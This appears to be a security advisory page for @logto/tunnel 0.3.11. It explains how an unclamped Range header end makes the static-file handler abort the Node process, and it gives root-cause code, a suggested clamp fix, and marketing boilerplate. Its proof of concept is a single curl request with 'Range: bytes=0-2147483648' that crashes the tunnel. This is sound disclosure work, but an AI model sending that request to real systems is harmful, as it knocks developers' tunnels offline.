Vulnerability DatabaseGHSA-cr4j-qhrf-249w

GHSA-cr4j-qhrf-249w: 
JavaScript vulnerability analysis and mitigation

Summary

createStaticFileProxy's readFile() allocates a buffer sized from the attacker-supplied Range end without clamping it to the file size, then passes buffer.length to fileHandle.read(). Node's fs.Read binding asserts that the length argument is an Int32; a length above 2³¹−1 fails a native CHECK, which is not catchable from JavaScript — the process aborts with SIGABRT. One unauthenticated GET against a 6-byte file kills the tunnel.

Affected version

@logto/tunnel 0.3.11 (current npm latest). The same code is present in 0.3.8, i.e. this is a sibling defect in the static-file handler that the CVE-2026-63188 fix rewrote — not a regression introduced by that fix.

Root cause

lib/commands/tunnel/utils.js:50-58:

const readFile = async (requestPath, start, end) => {
    const fileHandle = await fs.open(requestPath, 'r');
    const { size } = await fileHandle.stat();
    const readStart = start ?? 0;
    const readEnd = end ?? Math.max(size - 1, 0);      // size is used ONLY when end is absent
    const buffer = Buffer.alloc(readEnd - readStart + 1);
    await fileHandle.read(buffer, 0, buffer.length, readStart);
    ...

end arrives from @logto/core-kit's parseRange(), which parses the header and returns the number verbatim:

export const parseRange = (range) => {
    const rangeMatch = /bytes=(\d+)-(\d+)?/.exec(range);
    ...
    const end = rangeMatch?.[2] === undefined ? undefined : Number.parseInt(rangeMatch[2], 10);
    return { start, end, count };
};

Nothing compares end to size, and nothing returns 416 for an out-of-range end. With end = 2147483648 the buffer is 2147483649 bytes, and fileHandle.read() hits node_file.cc's CHECK(args[3]->IsInt32()).

Reachability

Any network peer that can reach the tunnel's port — the same premise the parent advisory was rated on. The configuration is the vendor's own documented example (docs/customization/bring-your-ui/debug-and-test-your-custom-ui-locally.mdx):

logto-tunnel -p 9000 --experience-path /path/to/your/static/files --endpoint https://foobar.logto.app/

commands/tunnel/index.ts mounts createStaticFileProxy(path) whenever --experience-path is set. No flags beyond the documented ones, no credentials, no interaction.

Proof of concept (measured, 0.3.11, node v22.22.3)

$ logto-tunnel -p <port> --experience-path <lab>/static --endpoint https://foobar.logto.app/
$ ls -l <lab>/static/a.txt        ->  6 bytes
$ curl -o /dev/null -w '%{http_code}\n' http://127.0.0.1:<port>/a.txt
200
$ curl -o /dev/null -H 'Range: bytes=0-3' -w '%{http_code}\n' http://127.0.0.1:<port>/a.txt
206
$ curl -H 'Range: bytes=0-2147483648' http://127.0.0.1:<port>/a.txt
(no response, connection closed)
$ echo $?   # of the tunnel process
134                                   # 128 + 6 = SIGABRT

Process output:


#  node[...]: void node::fs::Read(const v8::FunctionCallbackInfo<v8::Value>&) at ../src/node_file.cc:2535

#  Assertion failed: args[3]->IsInt32()
----- Native stack trace -----
 1: node::Assert(node::AssertionInfo const&) [node]
----- JavaScript stack trace -----
 4: readFile (@logto/tunnel/lib/commands/tunnel/utils.js:56:22)

Impact

Availability only, but total and trivially repeatable: a single request terminates the tunnel process. There is no try/catch that can save it — the abort happens in Node's C++ layer, below the handler's own try block. Under a supervisor that restarts the process, a request loop is a permanent outage. A secondary effect on the way to the abort: a smaller-but-still-large Range end (below INT32_MAX) makes the process zero-fill a buffer of that size, so an attacker can also drive memory to near-OOM with one request per gigabyte.

Severity

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) by the formula; I rate the practical severity Medium, because the affected component is a developer-facing CLI tunnel rather than a production service, and there is no confidentiality or integrity impact. The parent advisory for this same component was accepted at CVSS 4.0 8.7 on the same reachability premise, so I am flagging the discrepancy rather than resolving it. CWE-1284 (improper validation of a quantity) → CWE-789 (memory allocation with excessive size) → CWE-617 (reachable assertion) → CWE-400.

Suggested fix

Clamp in readFile, and answer 416 for an unsatisfiable range:

const readEnd = Math.min(end ?? size - 1, Math.max(size - 1, 0));
if (readStart > readEnd) { throw new Error('Range not satisfiable.'); }

getStaticFileErrorStatusCode already maps 'Range not satisfiable.' to 416, so the error path exists and only needs to be reached. Clamping in parseRange alone is not enough because it has no access to the file size.

Dedup

Parent advisory GHSA-rxjr-6c9q-h67x (CVE-2026-63188), "logto-tunnel serves files outside --experience-path via path traversal", fixed in 0.3.9 by PR #9113 — a different defect (path confinement) in the same handler; the traversal check is unrelated to the range arithmetic and is untouched by this report. Installing 0.3.8 shows the identical unclamped readFile, so this is neither a duplicate of nor a regression from that advisory. No other advisory, issue or PR for @logto/tunnel mentions Range, buffer sizing, or a crash.

Honest limits

Measured on Linux with node v22.22.3. The exact threshold at which the abort occurs is Node's Int32 assertion, so it is version-independent in practice, but the specific node_file.cc line number will differ across Node releases. I did not test Windows.

Appendix — EVIDENCE_logto_tunnel_range_abort_20260901.txt (inlined; advisories accept no attachments)

=== @logto/tunnel 0.3.11 (npm latest) — measured 2026-09-01, node v22.22.3, 127.0.0.1 only ===
start (verbatim from the vendor's documented example):
  logto-tunnel -p <port> --experience-path <lab>/static --endpoint https://foobar.logto.app/
served file: <lab>/static/a.txt  = 6 bytes
CONTROLS
  GET /a.txt                       -> 200
  GET /a.txt  Range: bytes=0-3     -> 206
ATTACK — one unauthenticated request
  GET /a.txt  Range: bytes=0-2147483648   -> no response, connection closed
  process exit status: 134 (128+6 = SIGABRT)
process output:
  #  node[...]: void node::fs::Read(const v8::FunctionCallbackInfo<v8::Value>&) at ../src/node_file.cc:2535
  #  Assertion failed: args[3]->IsInt32()
  ----- Native stack trace -----
   1: node::Assert(node::AssertionInfo const&) [node]
  ----- JavaScript stack trace -----
   1: read (node:internal/fs/promises:697:13)
   2: fsCall (node:internal/fs/promises:466:18)
   3: read (node:internal/fs/promises:197:12)
   4: readFile (@logto/tunnel/lib/commands/tunnel/utils.js:56:22)
VERSION NOTE: the same unclamped readFile body is present in 0.3.8 (pre-CVE-2026-63188), so this is a sibling defect
              in the handler that fix rewrote, NOT a regression the fix introduced.

Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-cr4j-qhrf-249wHIGH7.5
  • JavaScript logoJavaScript
  • @logto/tunnel
NoYesNov 09, 2026
GHSA-2pq4-jqvf-f7qjMEDIUM6.5
  • JavaScript logoJavaScript
  • @logto/core
NoYesNov 09, 2026
GHSA-c5hj-jm58-pxh9MEDIUM6.5
  • JavaScript logoJavaScript
  • @logto/core
NoYesNov 09, 2026
GHSA-3xj6-982x-2r3gMEDIUM6.5
  • JavaScript logoJavaScript
  • @logto/core
NoYesNov 09, 2026
GHSA-ffj9-42qx-f38hMEDIUM6.3
  • JavaScript logoJavaScript
  • @angular/upgrade
NoYesNov 09, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management